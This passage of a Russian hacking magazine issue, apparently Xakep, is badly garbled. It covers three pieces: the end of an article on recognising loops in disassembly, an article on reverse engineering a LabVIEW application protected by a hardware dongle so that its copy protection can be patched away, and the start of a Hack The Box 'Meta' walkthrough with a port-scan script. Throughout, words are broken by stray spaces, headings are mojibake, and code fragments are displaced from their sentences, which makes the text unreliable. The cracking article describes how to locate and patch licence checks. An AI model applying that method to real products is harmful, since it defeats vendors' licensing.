лы с убы вани ем при усло вии, что параметр цик ла не исполь зует ся опе рато- 
рами цик ла, а лишь прок ручива ет цикл опре делен ное чис ло раз. Зачем
это ком пилято ру? Ока зыва ется, цик лы с убы вани ем гораз до короче — одно- 
бай товая инс трук ция  не толь ко умень шает опе ранд, но и выс тавля ет

 при дос тижении нуля. В резуль тате необ ходимость в коман де 

 отпа дает авто мати чес ки.

DEC
Zero-ôëàã CMP
A, xxx

Та ким обра зом, в зависи мос ти от нас тро ек и харак тера ком пилято ра цик лы
 могут тран сли ровать ся и в цик лы с пре дус лови ем, и в цик лы с пос тусло- 

вием, начина ющие свое выпол нение с про вер ки усло вия про дол жения цик ла.
При чем усло вие про дол жения может инверти ровать ся в усло вие завер шения,
а воз раста ющий цикл может вол шебным обра зом прев ратить ся в убы- 
вающий.

for

Та кая неод нознач ность зат рудня ет иден тифика цию цик лов . Надеж но

опре деля ются лишь цик лы, начина ющиеся с про вер ки пос тусло вия, так
как они не могут быть отоб ражены на  без исполь зования . 

for

do GOTO Во всех

осталь ных слу чаях никаких стро гих рекомен даций по рас позна ванию  дать

нель зя.

for

Ска жем так: если логика иссле дуемо го цик ла син такси чес ки удоб нее
выража ется через опе ратор , то и выражай ее через ! В про тив ном

слу чае исполь зуй  или  ( ) для цик лов с пред- и пос- 

тусло вием соот ветс твен но.

for for
while do repeat\until

И в зак лючение пара слов о «кас три рован ных» цик лах. Язык C/C++ поз- 
воля ет опус тить ини циали зацию перемен ной цик ла, усло вие выхода из него,
опе ратор при раще ния перемен ной или все это вмес те. При этом  вырож- 
дает ся в  и ста новит ся прак тичес ки неот личимым от него.

for
while

ÖÈÊËÛ Ñ ÓÑËÎÂÈÅÌ Â ÑÅÐÅÄÈÍÅ

По пуляр ные язы ки высоко го уров ня непос редс твен но не под держи вают цик- 
лы с усло вием в середи не, хотя необ ходимость в них воз ника ет доволь но
час то. Поэто му прог раммис ты их реали зуют на осно ве уже име ющих ся цик- 
лов  ( ) и опе рато ра выхода из цик ла . Нап ример, так.while while\do break

Ком пилятор (если он не сов сем осёл) раз ворачи вает бес конеч ный цикл
в безус ловный переход , нап равлен ный, естес твен но, назад (ослы генери- 

руют код вро де ). Нап равлен ный назад
безус ловный переход весь ма харак терен — за исклю чени ем бес конеч ного
цик ла, его может порож дать один лишь опе ратор . А раз у нас есть бес- 

конеч ный цикл, то усло вие его завер шения может находить ся лишь в середи- 
не это го цик ла (слож ные слу чаи мно гопо точ ных защит, модифи циру ющих
из сосед него потока безус ловный переход в , мы пока не рас смат рива- 

ем). Оста ется про чесать тело цик ла и най ти это самое усло вие.

JMP
MOV EAX, 1\CMP EAX,1\JZ repeat

GOTO

NOP

Сде лать это будет нет рудно — опе ратор  тран сли рует ся в переход
на пер вую коман ду, сле дующую за , а сам  получа ет

управле ние от вет ки . Усло вие ее сра баты- 

вания и будет иско мым усло вием завер шения цик ла. Вот, собс твен но, и все.

break
JMP repeat break

IF (условие) — THEN — [ELSE]

ÖÈÊËÛ Ñ ÌÍÎÆÅÑÒÂÅÍÍÛÌÈ ÓÑËÎÂÈßÌÈ ÂÛÕÎÄÀ

Опе ратор  поз воля ет орга низо вать выход из цик ла в любом удоб ном

для прог раммис та мес те, поэто му любой цикл может иметь мно жес тво усло- 
вий выхода, бес порядоч но раз бро сан ных по его телу. Это ощу тимо усложня ет
ана лиз дизас сем бли руемой прог раммы, так как воз ника ет риск «про зевать»
одно из усло вий завер шения цик ла, что при ведет к неп равиль ному понима- 
нию логики прог раммы.

break

Иден тифици ровать усло вия выхода из цик ла очень прос то — они всег да
нап равле ны «вниз», то есть в область стар ших адре сов, и ука зыва ют
на коман ду, непос редс твен но сле дующую за инс трук цией условно го (безус- 
ловно го) перехо да, нап равлен ного «вверх», в область млад ших адре сов.

ÖÈÊËÛ Ñ ÍÅÑÊÎËÜÊÈÌÈ Ñ×ÅÒ×ÈÊÀÌÈ

Опе ратор «запятая» язы ка С/C++ поз воля ет выпол нять мно жес твен ную ини- 
циали зацию и модифи кацию счет чиков цик ла . Нап ример: 

... А как нас чет нес коль ких усло вий завер- 
шения? Подав ляющее боль шинс тво учеб ников по прог рамми рова нию на этот
счет хра нят гро бовое мол чание.

for for (int a = 
0, b = 10; a != b; a++, b--)

С помощью Embarcadero C++Builder 10.4 поп робу ем ском пилиро вать сле- 
дующий код (при мер ):some_counters_cb

     int _tmain(int argc, _TCHAR* argv[]) {
                for (int a = 0, b = 10; a < 10, b > 5; a++, b--)
           std::cout << a << " | " << b << std::endl;

  return 0;
}

Он будет бла гопо луч но «прог лочен» ком пилято ром, одна ко в области пре дуп- 
режде ний выведет

 

 
cod1.cpp(15,27): warning W7379: relational comparison result unused

Ре зуль тат выпол нения при мера some_counters_cb

Пре дуп режде ние он вывел, а ском пилиро вал-то все рав но неп равиль но!
Логичес кое усло вие (a , a , a , ... ,a ) лишено смыс ла, и ком пилято ры

без малей ших колеба ний и заз рений совес ти отбро сят все, кро ме самого
пра вого выраже ния a . Оно-то и будет еди нолич но опре делять усло вие про- 

дол жения цик ла.

1 2 3 n

n

От компи лиру ем этот же код в Microsoft Visual C++ 2022. Он выведет более
осмыслен ное сооб щение: «Пре дуп режде ние C6319: Исполь зование опе рато- 
ра „запятая“ в про веря емом выраже нии при водит к тому, что левый аргу мент
будет про пущен, если у него нет побоч ных эффектов».

Та кое объ ясне ние более понят но. Если усло вие про дол жения цик ла
зависит от нес коль ких перемен ных, то их срав нения сле дует объ еди нить
в одно выраже ние пос редс твом логичес ких опе раций ,  и дру гих. Нап- 

ример:  — цикл пре рыва- 

ется сра зу же, как толь ко одно из двух усло вий ста нет лож но; 
 — цикл про дол жает ся до тех пор,

пока истинно хотя бы одно усло вие из двух.

OR AND
for (a=0, b=10; (a > 0 && b < 10); a++, b--)

for (a=0, 
b=10; (a > 0 || b < 10); a++, b--)

Для успо коения совес ти модифи циру ем код нашего при мера, ском- 
пилиру ем его и пос мотрим на резуль тат:

  int main() {
                 for (int a = 0, b = 10; (a < 10 || b > 5); a++, b--)
           std::cout << a << " | " << b << std::endl;
}

Ре зуль тат выпол нения при мера some_counters

В осталь ном же цик лы с нес коль кими счет чиками тран сли руют ся ана логич но
цик лам с одним счет чиком, за исклю чени ем того, что ини циали зиру ется
и модифи циру ется не одна, а сра зу нес коль ко перемен ных.

ÈÄÅÍÒÈÔÈÊÀÖÈß CONTINUE

Опе ратор  при водит к непос редс твен ной переда че управле ния

на код про вер ки усло вия про дол жения (завер шения) цик ла. В общем слу чае
он тран сли рует ся в безус ловный  в цик лах с пре дус лови ем, нап равлен- 

ным вверх, а в цик лах с пос тусло вием — вниз. Сле дующий за  код

уже не получа ет управле ния, поэто му  прак тичес ки всег да исполь- 
зует ся в условных конс трук циях.

continue

jump
continue

continue

Нап ример:

   while (a++ < 10)
    if (a == 2)
   continue;
...

Ком пилиру ется приб лизитель но так.

ÑËÎÆÍÛÅ ÓÑËÎÂÈß

До сих пор, говоря об усло виях завер шения и про дол жения цик ла, мы рас- 
смат ривали лишь эле мен тарные усло вия отно шения, в то вре мя как прак- 
тичес ки все язы ки высоко го уров ня допус кают исполь зование сос тавных
усло вий. Одна ко сос тавные усло вия мож но схе матич но изоб разить в виде
абс трак тно го «чер ного ящи ка» с вхо дом/выходом и логичес ким дво ичным
деревом внут ри. Пос тро ение и реконс трук ция логичес ких деревь ев под робно
рас смат рива ются в раз деле «Иден тифика ция IF — THEN — ELSE», здесь же
нас инте ресу ет орга низа ция цик лов, а не сами усло вия.

Âëîæåííûå öèêëû

Цик лы, понят ное дело, могут быть и вло жен ными. Казалось бы, какие проб- 
лемы? Начало каж дого цик ла надеж но опре деля ется по перек рес тной ссыл- 
ке, нап равлен ной вниз. Конец цик ла — условный или безус ловный переход
на его начало. У каж дого цик ла толь ко одно начало и толь ко один конец (хотя
усло вий выхода может быть сколь ко угод но, но это дру гое дело). При чем цик- 
лы не могут пересе кать ся; если меж ду началом и кон цом одно го цик ла встре- 
чает ся начало дру гого цик ла, то этот цикл — вло жен ный.

Но не все так прос то: тут есть два под водных кам ня. Пер вый: опе ратор
 в цик лах с пре дус лови ем, вто рой — слож ные усло вия про дол жения

цик ла с пос тусло вием. Рас смот рим их под робнее.
continue

Пос коль ку в цик лах с пре дус лови ем опе ратор  тран сли рует ся

в безус ловный переход, нап равлен ный «вверх», он ста новит ся прак тичес ки
неот личим от кон ца цик ла. Смот ри:

continue

  while (условие1) {
 ...
   if (условие2) continue;
 ...
}

Тран сли рует ся в сле дующий код.

Два кон ца и два начала впол не напоми нают два цик ла, один из которых вло- 
жен в дру гой. Прав да, начала обо их цик лов сов мещены, но ведь может же
такое быть, если в цикл с пос тусло вием вло жен цикл с пре дус лови ем?
На пер вый взгляд кажет ся, что да, но если подумать, то... ай-ай-ай! А ведь 

 выхода из цик ла пры гает аж за вто рой конец! Если это пре дус ловие
вло жен ного цик ла, то оно пры гало бы за пер вый конец. А если  —
пре дус ловие материн ско го цик ла, то конец вло жен ного цик ла не смог бы
передать на него управле ние. Выходит, это не два цик ла, а один. А пер вый
«конец» — резуль тат тран сля ции опе рато ра .

ус- 
ловие1

ус ловие1

continue
С раз бором слож ных усло вий про дол жения цик ла с пос тусло вием дела

обсто ят еще луч ше. Рас смот рим такой при мер:

 do {
 ...
   } while(условие1 || условие2);

Ну чем не

 do {
  do {
   ...
  } while(условие1)
 } while(условие2)

Стро го говоря, пред ложен ный вари ант логичес ки верен, но син такси чес ки
нек расив. Материн ский цикл кру тит в сво ем теле один лишь вло жен ный цикл
и не содер жит никаких дру гих опе рато ров. Так зачем он тог да, спра шива ется,
нужен? Сле дует объ еди нить его с вло жен ным цик лом!

ÇÀÊËÞ×ÅÍÈÅ

По боль шому сче ту это была теоре тичес кая статья. В ней мы не рас смот рели
ни одно го дизас сем блер ного лис тинга. Одна ко и цель у нее дру гая: показать
все раз нооб разие цик лов и под готовить тебя к сле дующе му шагу —
к осмыслен ному раз бору дизас сем блер ных лис тингов нас тоящих прог рамм
с воз можностью отме чать кор рек тные и неп равиль ные ходы кон крет ного ком- 
пилято ра. Поэто му будь готов в сле дующей статье к новым путешес тви ям
по неп роходи мым дизас сем блер ным зарос лям.

WWW

Юрий Язев при зыва ет тебя пооб щать ся с ним
и дру гими читате лями на тему дизас сем бли рова- 
ния и «Фун дамен таль ных основ» в .дис корде

https://discord.gg/XW6ywEN3gq


ПОЛНОЕ

G
ЛОМАЕМ ПРИЛОЖЕНИЕ НА ЯЗЫКЕ G,

СОЗДАННОЕ В LABVIEW

МВК

ВЗЛОМ

Су щес тву ют весь ма экзо тич ные язы ки прог рамми рова ния.
Один из них — язык G, для которо го ком пания National
Instruments соз дала спе циаль ную сре ду раз работ ки под наз- 
вани ем LabVIEW. Тема ревер са такого соф та прак тичес ки
не рас кры та из-за узкой спе циали зации подоб ных прог- 
рамм. Это упу щение, я наде юсь, поможет испра вить сегод- 
няшняя статья.

Во исти ну без гра нич на фан тазия мар кетоло гов, про екти рующих про дук ты
для ленивых людей. Еще на заре эры визу аль ного прог рамми рова ния
в какую-то свет лую голову приш ла идея, что нубу, который не может оси лить
син таксис самого прос тецко го язы ка прог рамми рова ния высоко го уров ня,
будет про ще рисовать прог рамму в виде блок-схе мы, как в шко ле. Несос- 
тоятель ность подоб ного пред положе ния оче вид на: если у паци ента нап рочь
отсутс тву ет струк турное логичес кое мыш ление, то он и блок-схе му не смо жет
пра виль но нарисо вать. А если такой навык име ется, то осво ить нес ложный
син таксис для него совер шенно не проб лема, зато писать тек сто вый код
гораз до спод ручнее, чем гро моз дить друг на дру га тысячи бло ков в визу аль- 
ном редак торе.

Но мар кетинг — силь ная вещь, и дан ная тех нология не то что бы слиш ком
глу боко, но все же уко рени лась на рын ке и отво ева ла себе опре делен ный
сег мент: появи лись Smalltalk и ему подоб ные. В сов ремен ности оче ред ным
чудовищ ным порож дени ем дан ного под хода стал гра фичес кий язык прог- 
рамми рова ния G фир мы National Instruments. Для его под дер жки была соз- 
дана монс тру озная сре да раз работ ки и плат форма для выпол нения прог- 
рамм LabVIEW (англ. Laboratory Virtual Instrumentation Engineering Workbench),
в которой мож но даже соз давать визу аль ные standalone исполня емые при- 
ложе ния.

Ос новная ауди тория этой сре ды раз работ ки — тех нари, зна ющие железо,
но не осо бо све дущие в его прог рамми рова нии, которые, под давшись рек- 
ламе, наде ются по-быс тро му нарисо вать на колен ке интерфейс
к какому-нибудь китай ско му дат чику или роботу из лего. По счастью, чуток
наб равшись опы та, они или сами перехо дят на нор маль ные язы ки прог- 
рамми рова ния, или находят спе циаль но обу чен ных людей, спо соб ных
написать прог рамму за них. Либо прос то бро сают это неб лагодар ное
занятие, ужас нувшись неудобс тву сре ды раз работ ки.

Имен но поэто му мы прак тичес ки не встре чаем сре ди рас простра нен ных
ком мерчес ких пакетов дан ные порож дения тьмы, тер зающие взор здо рово го
челове ка неес тес твен ным видом интерфей са, диало говых окон и кон тро лов.
Тем не менее они все-таки попада ются сре ди узкоспе циаль ных ути лит под- 
дер жки экзо тич ного железа, и их даже защища ют от копиро вания. Встре ча
с подоб ной защитой — адский кош мар для хакера даже не потому, что
защита хорошо про дума на тех ничес ки. Прос то, как ты ско ро убе дишь ся,
архи тек тура подоб ных при ложе ний зак рыта и неудоб на в отладке.

Итак, рас смот рим при мер кон крет ного при ложе ния. Обыч но это сис тема
управле ния тех ничес кими про цес сами, в нашем слу чае — интерфейс нас- 
трой ки спе цифи чес кого железа, защищен ный серь езным аппа рат ным клю- 
чом, при отсутс твии которо го прог рамма выда ет доволь но необыч ное
с дизай нер ской точ ки зре ния сооб щение об ошиб ке и работа ет с уре зан ной
фун кци ональ ностью. Как имен но мы опре дели ли, что перед нами — порож- 
дение LabVIEW? Это вов се не оче вид но, ни DIE, ни Exeinfo (и, нас коль ко мне
извес тно, осталь ные детек торы) этот фор мат не опре деля ют.

Из спе цифи ки стро ения подоб ных при ложе ний мож но отме тить раз ве что
кро хот ный кусок исполня емо го кода без какого-то спе цифи чес кого импорта
с при цеп ленным к нему огромным запако ван ным и зашиф рован ным овер- 
леем, занима ющим свы ше 99% обще го объ ема фай ла. В коде заг рузчи ка
мож но най ти тек сто вые стро ки ,  и .

Прав да, их наличие вов се не гаран тирова но. Дру гой под сказ кой о про- 
исхожде нии прог раммы может стать упо мяну тый выр виглаз ный дизайн эле- 
мен тов управле ния.

LabVIEW National Instruments LVRT

При мер интерфей са, скрин шот из докумен тации

Мы потихонь ку подош ли к заг рузке прог раммы в отладчик, в качес тве которо- 
го будет исполь зовать ся наш любимый x64dbg. К счастью, прог рамма бла- 
гопо луч но туда заг ружа ется и запус кает ся. Тол ку, прав да, от это го нем ного:
ни строк, ни малей ших учас тков, похожих на все виды извес тно го нам
исполня емо го кода, не появ ляет ся даже в дам пе. Все дей ствие прог раммы
в основном кру тит ся внут ри модуля , наличие которо го, пожалуй,

и явля ется отли читель ной осо бен ностью исполня емых при ложе ний, соз- 
данных в этой сре де раз работ ки.

LVRT.DLL

Этот биб лиотеч ный модуль пред став ляет собой ядро вир туаль ной машины
(если ее мож но так наз вать), име ет мно жес тво экспор тиру емых фун кций, но,
к сожале нию, совер шенно не докумен тирован ных. Мы еще вер немся к дан- 
ному модулю, а пока поп робу ем зай ти с дру гой сто роны.

При пер вичном осмотре при ложе ния мы уже замети ли, что основной его
объ ем занима ет шиф рован ный овер лей с прак тичес ки нулевой энтро пией.
Спра вед ливо полагая, что весь код и дан ные при ложе ния сос редото чены
имен но в нем, прис тупим к его иссле дова нию. Открыв прог рамму в любом
редак торе ресур сов или обыч ном архи вато ре, обра щаем вни мание на наибо- 
лее уве сис тую часть овер лея.

Мо дуль в архи вато ре

Из вле чем ресурс  в отдель ный файл и рас смот рим его более прис таль но.
Сра зу бро сает ся в гла за сиг натура , которая натал кива ет на мысль

о фор мате resource fork Mac OS. Собс твен но, сами раз работ чики и говорят
о том, что взя ли за осно ву дан ный фор мат, пос коль ку LabVIEW изна чаль но
соз давал ся для этой плат формы, а поз же, в вер сии 2.5, был перене сен
на дру гие ОС.

2
RSRC

Ре сурс 2 в hex-редак торе

Это уже какая-то отправ ная точ ка. Нем ного погуг лив, мы обна ружи ваем, что
до нас иссле дова ния в этом нап равле нии уже про води лись и упо мяну тый
фор мат . Рас смат рива емый нами заголо вок выг лядит
вот так:

час тично ревер сирован

Length Type Value

6 string "RSRC\r\n"

2 ?

4 string "LVIN" (LabVIEW Instrument?)

4 string "LBVW" (LabVIEW?)

4 uint32 RSRC Info Offset

4 uint32 RSRC Info Size

4 uint32 RSRC Data Offset

4 uint32 RSRC Data Size

Вто рая хорошая новость — нам вов се не обя затель но писать свой пар сер,
пос коль ку доб рый человек под ником mestotelis уже сде лал все за нас,
запилив , который уме ет очень мно гое. Для его исполь- 
зования пот ребу ется Python, пос ле уста нов ки которо го мы смо жем пре обра- 
зовать богомер зкий шиф рован ный ресурс в обыч ный ZIP-архив при помощи
такой коман ды:

инс тру мент pylabview

  2 readRSRC.py -x -i

Рас паковав получив ший ся архив , мы уви дим мно жес тво вло жен- 

ных катало гов с фай лами  (Visual Instrument),  (эле мен ты управле ния)

и дру гими.

2_LVzp.bin
.VI .CTL

По сути, эти фай лы — сос тавные час ти про екта LabVIEW. Если заг рузить их
в эту сре ду раз работ ки, теоре тичес ки мож но пересоб рать про ект заново.
Такая воз можность сущес тву ет и в самом pylabview, что, конеч но, раду ет,
но нашу радость пор тит один малень кий нюанс. Вся наша работа, по сути,
про дела на зря, ибо фай лы  — уже откомпи лиро ван ные фай лы прог рам мно- 

го байт-кода, а исходные блок-схе мы без воз врат но утра чены. Мак симум,
на что мы можем рас счи тывать, заг рузив все эти фай лы в LabVIEW, —
это стро ковые зна чения, име на клас сов и методов, их иерар хию ссы лок
и рас положе ние кон тро лов на панели. Что абсо лют но не приб лижа ет нас
к ревер су кода и понима нию логики фун кци они рова ния прог раммы.

VI

Нем ного поможет нам в этом pylabview. Пос коль ку файл  тоже RSRC-

ресурс, мож но и его раз ложить по рас шифро ван ным-рас пакован ным бло кам
при помощи сле дующей коман ды:

VI

  readRSRC.py -vv -x -i myVI.vi 

Сра зу пре дуп реждаю, что pylabview вов се не уни вер саль ный инс тру мент
для всех акту аль ных вер сий LabVIEW, поэто му при выпол нении пос ледней
опе рации могут воз никнуть ошиб ки, свя зан ные с вер сиями фай лов. У меня
лич но получи лось побороть эту проб лему тупым ком менти рова нием строк
модуля :LVblock.py

   if version_unk_len != 0:
    

\ 
raise AttributeError("Block {} section {} always zero value 1 

is {} instead of {}"
    .format(self.ident,section_num,version_unk_len,0))

На выходе мы получа ем набор рас шифро ван ных и рас пакован ных (обыч но
исполь зует ся ком прес сия zlib) бло ков, сос тавля ющих файл , и крат кую

информа цию о нем в виде XML-фай ла. Попут но мы получим сек ции ,

содер жащие откомпи лиро ван ный плат формен но зависи мый код (наконец-то
мы до него доб рались) и даже его кар ту по отно ситель ным адре сам сле- 
дующе го вида:

VI
*.bin

      Address         Publics by Value 0001:00000E00
_Z17_InitCodePtrsProcPP13VICodePtrsRec

   0001:0000002C codeBlob

К сожале нию, это сно ва мало что нам дает в пла не ана лиза: все при вяз ки
внут ри кода к стро кам и реаль ным адре сам выпол няют ся при заг рузке 

в память, поэто му понять что-либо в таком неп ривязан ном коде прос то нере- 
аль но. Но мы попыта емся. Вни матель но пос мотрев на сек ции кода от раз ных

, обра щаем вни мание, что пос ле бло ка дан ных в заголов ке код обя затель- 

но начина ется с конс трук ции подоб ного вида:

VI

VI

   00000380: 53                push ebx
   00000381: 57                push edi
   00000382: 56                push esi
    00000383: 83EC28            sub esp,028
    00000386: 8B442440          mov eax,[esp][040]
    0000038A: 48                dec eax
    0000038B: 8B7C2438          mov edi,[esp][038]
    0000038F: 83F81C            cmp eax,01C
     00000392: 7629              jbe 0000003BD --↓1
    00000394: 8B476C            mov eax,[edi][06C]
        00000397: C7403C00000000 mov d,[eax][03C],0
    0000039E: 8B07              mov eax,[edi]
    000003A0: 893C24            mov [esp],edi
      000003A3: C744240800000000 mov d,[esp][8],0
      000003AB: C744240409000000 mov d,[esp][4],9
   000003B3: FF5068            call d,[eax][068]
    000003B6: 83C428            add esp,028
    000003B9: 5E                pop esi
    000003BA: 5F                pop edi
    000003BB: 5B                pop ebx
 000003BC: C3                retn
   000003BD: 8B4C243C          1mov ecx,[esp][03C]
        000003C1: FF248500000000 jmp d,[eax]*4[0]

Мы видим про цеду ру с тре мя парамет рами. Пер вый из них — индекс в таб- 
лице адре сов, по которым выпол няет ся переход в кон це. Общее количес тво
адре сов раз ное в зависи мос ти от сек ции, в дан ном слу чае 28. На самом деле
каж дый фраг мент кода, на который ука зыва ет адрес перехо да, — так называ- 
емый пов торя ющий ся блок (RepeatedBlock). Это линей ный на диаг рамме
фраг мент кода. Эти бло ки сле дуют друг за дру гом, перек лючение меж ду ними
осу щест вля ется внут ри бло ка. Поп робу ем понять, каким обра зом бло ки
вызыва ются из вир туаль ной машины LB.

Для это го откро ем нашу прог рамму в x64dbg и прос ледим за ней до того
момен та, где нуж ный нам , по идее, дол жен быть заг ружен, пос ле чего

поищем этот код гло баль но по памяти про цес са. Мы видим, что код дей стви- 
тель но заг ружен, при чем ссыл ки на переме щаемые адре са уже при вяза ны.
Ста вим точ ку оста нова на его вход. Как толь ко точ ка оста нова сра баты вает,
по адре су воз вра та мы лег ко и неп ринуж денно выходим на интер пре татор
этих самых RepeatedBlocks. Разуме ется, он находит ся внут ри модуля ,
и его основной цикл выг лядит чер тов ски прос то:

VI

LVRT

       7BEC3F37 | 8B7E 10       | mov edi,dword ptr ds:[esi+10]
    7BEC3F3A | 8BCB          | mov ecx,ebx
       7BEC3F3C | 8B46 10       | mov eax,dword ptr ds:[esi+10]
      7BEC3F3F | 81E3 FFFFFF00 | and ebx,FFFFFF

; Старший байт индекса — номер секции
     7BEC3F45 | C1F9 18       | sar ecx,18

; Индекс вызываемого RepeatedBlock
    7BEC3F48 | 53            | push ebx
    7BEC3F49 | 57            | push edi
       7BEC3F4A | 8B50 14       | mov edx,dword ptr ds:[eax+14]

; Указатель на блок следующего VI
    7BEC3F4D | 52            | push edx
      7BEC3F4E | 8B02          | mov eax,dword ptr ds:[edx]

; Таблица адресов обработчиков секций
            7BEC3F50 | 8B4488 78 | mov eax,dword ptr ds:[eax+ecx*4+78]
    7BEC3F54 | FFD0          | call eax

; Возвращается индекс следующего исполняемого RepeatedBlock
    7BEC3F56 | 8BD8          | mov ebx,eax
     7BEC3F58 | 83C4 0C       | add esp,C

; Если значение отрицательное, требуется выполнить некие действия
; Чаще всего — подгрузить следующий VI или перерисовать интерфейс

    7BEC3F5B | 85DB          | test ebx,ebx
; На начало

     7BEC3F5D | 7F D8         | jg lvrt.7BEC3F37

Те перь у нас есть за что зацепить ся! Уста новив точ ку оста нова на вызов
обра бот чика RepeatedBlock и пос тавив в ней текст жур нала 

, мы получим лог пос ледова тель нос ти вызовов пов торя- 

ющих ся бло ков сле дующе го вида:

call {eax} 
index {[esp+8]}

 

 

... 
call to DFB3C00 method 2 
call to DFB3C00 method 1 
call to DFB3C00 method F 
call to 123D6110 method 1 
call to 120B2B10 method 1 
call to 123D6110 method B 
call to 11619130 method 1 
call to 11550F80 method 1 
call to 11619130 method B 
call to 123D6110 method D 
call to DFB3C00 method 11 
По ток 297C завер шен 
По ток 3464 завер шен 
call to DFC3070 method 0 
call to DFB3C00 method 15 
call to DFB3C00 method 19 
call to 17E19630 method 1 
call to 17E19630 method 11 
call to 17E48F40 method 1 
call to 17E19630 method 13 
call to DFCF210 method 0 
call to 17CC19C0 method 1 
call to 123D6110 method 1 
call to 120B2B10 method 1 
call to 123D6110 method B 
call to 11619130 method 1 
call to 11550F80 method 1 
call to 11619130 method B 
call to 123D6110 method D 
call to 17CC19C0 method D 
...

Сле ва — адре са обра бот чика текущей сек ции, спра ва — индекс текуще го
пов торя юще гося бло ка. Как видим, код, по сути, одно мер ный, хоть и нелиней- 
ный. То есть вло жен ность навер няка при сутс тву ет на внеш нем уров не,
но реали зова на она без рекур сии, ука затель сте ка (нас коль ко я могу судить)
всег да оста ется на мес те. Таким обра зом, мы получи ли хоть и ужас но неудоб- 
ный, но все же инс тру мент ана лиза, отсле жива ющий вет вле ния. Срав нив две
трас сы, с клю чом и без, мы можем най ти раз вилку в коде — 

и RepeatedBlock внут ри него, перек лючив ший исполне ние прог раммы на дру- 
гую вет ку.

VI

Даль ше все доволь но сурово: внут ри RepeatedBlock логика безум но слож- 
на. Как я уже говорил, биб лиоте ка  име ет мно жес тво выходов
экспор тиру емых фун кций, боль шинс тво из которых край не труд ны
для понима ния. Но попада ются сре ди них прос тые и понят ные. Оста новим ся
на паре из них.

LVRT.dll

LabVIEW поз воля ет поль зовате лю вызывать фун кции API и сто рон ние
динами чес кие биб лиоте ки. Уста новив точ ку оста нова на внеш нюю API-шную
фун кцию, лег ко убе дить ся, что она всег да вызыва ется из кода RepeatedBlock
через хит рый шлюз пос редс твом фун кции . Уста нов ка точек

оста нова на которые силь но облегчит отсле жива ние сис темных API-шных
вызовов из прог раммы. Дру гая проб лема с тек сто выми стро ками — хоть они
и не зашиф рованы на момент исполне ния прог раммы, но на них нап рочь
отсутс тву ют пря мые ссыл ки из кода.

ExtFuncWrapper

Тут нам поможет дру гая фун кция: , через которую RepeatedBlock

получа ет дос туп к любой заг ружен ной на дан ный момент стро ковой кон стан- 
те. Оба парамет ра дан ной фун кции — двой ные ука зате ли на стро ку со счет- 
чиком (счет чик вне зап но 32-бит ный). Пер вый параметр — источник, вто- 
рой — получа тель. Подоб ные малень кие хит рости помога ют пос тичь логику
работы прог раммы и отыс кать патч, а это весь ма нелег ко.

CopyLStr

В нашем слу чае дос таточ но поменять один байт внут ри RepeatedBlock.
В иной ситу ации мы прос то бы взя ли Hiew или любой дру гой шес тнад цатерич- 
ный редак тор и поменя ли бы нуж ное зна чение в нем, одна ко, я наде юсь, ты
пом нишь, с каким тру дом мы извлек ли откры тый код из ском пилиро ван ного 

? Мы в боль шой беде, ибо код как минимум дваж ды зашиф рован
и запако ван.

.
EXE

Мож но поп робовать пой ти тем же путем: при помощи pylabview соб рать 

из бинар ных модулей и XML, потом добавить его в архив ,

который тем же pylabview скон верти ровать в ресурс RSRC, а уже его редак- 
тором ресур сов прев ратить в EXE. В теории выг лядит прос то, одна ко сра зу
пре дуп реждаю, что на прак тике этот путь тер нист и труд но пре одо лим.
К сожале нию, как я уже говорил, pylabview все-таки дос таточ но сырой
и неуни вер саль ный инс тру мент. К тому же парано идаль ные раз работ чики
из кон торы National Instruments снаб дили свой фор мат таким количес твом
циф ровых под писей, кон троль ных сумм и хешей, меня ющих ся от вер сии
к вер сии, что мож но намер тво встрять уже на пер вом эта пе ком понов ки -

фай ла из сос тавных бло ков (как это было у меня).

VI
2_LVzp.bin

VI

Ко неч но, если ты боль шой любитель питона и хочешь помочь челове чес- 
тву, то можешь допилить фун кци ональ ность pylabview под свою вер сию, бла го
этот про ект сво бод ный и исходни ки откры ты. Но лич но мне все же кажет ся,
что про ще пат чить заг ружа емый код на лету. Прин цип такого пат ча я опи- 
сывал в  мно гок ратно, поэто му напом ню лишь общий прин цип:
мы внед ряем свой код в основной цикл интер пре тато ра. Код про веря ет,
нужен ли заг ружа емо му RepeatedBlock патч, и выпол няет его (пра ва дос тупа
в дан ном слу чае поз воля ют это делать). Но этот метод, конеч но, на любите ля.
Воз можно, читатель при дума ет какой-то свой, более пря мой и ори гиналь ный
спо соб пат ча столь необыч ной сре ды, как LabVIEW.

сво их стать ях

https://github.com/mefistotelis/pylabview/wiki/RSRC-Format#General-structure
https://github.com/mefistotelis/
https://xakep.ru/author/mikhail_kondakov/
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ВЗЛОМ

Ког да на сайт мож но заг рузить кар тинку,
это повод для поис ка уяз вимос тей. В этой
статье я рас ска жу, как опре делять ПО,
которое исполь зует ся для обра бот ки кар- 
тинок, а затем мы про экс плу ати руем най- 
ден ные баги. Что бы повысить при виле гии,
вос поль зуем ся тех никой GTFOBins
для эска лации через neofetch. Упражнять ся
будем на сред ней по слож ности машине
Meta с пло щад ки .Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.140    meta.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли все го два откры тых пор та: 22 — служ ба OpenSSH 7.9p1 и 80 —
веб-сер вер Apache. Вот толь ко ког да мы попыта емся обра тить ся к сай ту, нас
переб росят на дру гой домен.

Но вый домен

Ме няем запись в фай ле  и обновля ем стра ницу./etc/hosts

10.10.11.140    meta.htb artcorp.htb 

Глав ная стра ница сай та

На сай те отме тим для себя толь ко име на поль зовате лей, иног да это может
